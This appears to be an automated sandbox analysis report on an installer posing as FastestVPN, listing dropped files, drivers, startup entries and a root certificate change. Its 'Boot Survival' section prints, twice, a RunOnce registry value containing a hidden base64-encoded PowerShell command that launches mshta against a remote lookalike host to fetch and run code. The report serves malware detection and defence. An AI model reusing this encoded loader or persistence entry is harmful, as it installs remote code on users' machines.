    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-9HV88.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.ViewModel.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-0I6F0.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\is-0Q8U0.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\release\is-TB154.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\Newtonsoft.Json.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-0N43E.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-OB5A6.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\VPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\fix-dns-leak-32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-0H0J5.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-43KDF.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-QEJK5.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-LKGMK.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-U28J4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-T8IR5.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\VPN.WireGuard.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-950A5.tmpJump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-E1J18.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Updater.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-KN6S1.tmpJump to dropped file
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeFile created: C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\SQLitePCLRaw.core.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Cors.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-UHR8C.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Hardcodet.NotifyIcon.Wpf.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\tapinstallWin64.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\VPN.AdvancedNetwork.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-DC4V4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-S1CTK.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\VPN.AdvancedNetwork.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\Owin.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\wireguard.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-6ANJF.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-APR4M.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-6KVN1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-T36FQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\is-FH0V4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.Owin.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.Data.Local.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Flurl.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\System.Buffers.dll (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-IURM0.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\VPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-29MT4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\SingleInstanceApplication.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-72O2I.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\System.Web.Cors.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-IS5UL.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-1L7K0.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\ssleay32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\nfapi.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-AKR35.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-5L8BD.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\devcon.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\tap0901.sys (copy)Jump to dropped file
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeFile created: C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\SETCF80.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\openvpnserv2.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\VPN.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-EV611.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-3FPII.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\VPN.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\tapctl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\SQLitePCLRaw.provider.dynamic_cdecl.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-3717G.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-2Q1GI.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-SRDRF.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-MTDN1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Microsoft.Bcl.AsyncInterfaces.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-414AO.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-VSH0G.tmpJump to dropped file
    Source: C:\Windows\System32\xcopy.exeFile created: C:\Windows\System32\drivers\fastestvpndriver.sysJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-PGVDP.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-26JEF.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-9K6BQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-99PJ9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-L52FN.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\msvcr100.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\WpfAnimatedGif.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\VPN.OpenVpn.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-935KR.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\libeay32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\libcrypto-1_1-x64.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Host.HttpListener.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\libpkcs11-helper-1.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\FastestVPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\is-BN7P3.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-4HA7V.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-9D9JG.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\tapinstallWin32.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.Diagnostics.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\release\is-VKG1P.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-M7B0D.tmpJump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\SETDAB9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\System.Numerics.Vectors.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Service\VPN.WireGuard.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-IDIHR.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\System.Runtime.CompilerServices.Unsafe.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\is-MISRG.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\is-1G987.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-GBTCG.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.DI.dll (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\SETDAB9.tmpJump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\tap0901.sys (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\tap0901.sys (copy)Jump to dropped file
    Source: C:\Windows\System32\xcopy.exeFile created: C:\Windows\System32\drivers\fastestvpndriver.sysJump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\SETD174.tmpJump to dropped file
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeFile created: C:\Program Files\FastestVPN\Service\InstallUtil.InstallLog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeFile created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog

    Boot Survival

    barindex
    Creates an autostart registry key pointing to binary in C:\Windows
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNWindowsService
    Creates autostart registry keys with suspicious values (likely registry only malware)
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNWindowsService powershell.exe -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIAMAA2AC4AYwBvAG0ALwBsAGEAdQAvAGMAbwBuAGYAaQBnAC4AcABoAHAAJwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNWindowsService powershell.exe -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIAMAA2AC4AYwBvAG0ALwBsAGEAdQAvAGMAbwBuAGYAaQBnAC4AcABoAHAAJwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FastestVPN.lnkJump to behavior
    Source: C:\Windows\System32\drvinst.exeRegistry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\tap0901Jump to behavior
    Source: C:\Windows\System32\svchost.exeRegistry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\LinkageJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FastestVPNJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FastestVPN\FastestVPN.lnkJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FastestVPN\Uninstall FastestVPN.lnkJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FastestVPN.lnkJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_10013540 OpenSCManagerA,CreateServiceW,CloseServiceHandle,GetLastError,GetLastError,OpenServiceA,QueryServiceStatus,StartServiceA,GetLastError,CloseServiceHandle,GetLastError,CloseServiceHandle,SetLastError,28_2_10013540
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNWindowsService
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNWindowsService
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNWindowsService
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNWindowsService
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc stop fastestvpndriver
    Source: C:\Program Files\FastestVPN\FastestVPN.exeRegistry key monitored for changes: HKEY_CURRENT_USER_Classes
    Source: C:\Program Files\FastestVPN\FastestVPN.exeRegistry key monitored for changes: HKEY_CURRENT_USER_Classes
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 Blob
    Source: C:\Users\user\Desktop\mapMd1URzq.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
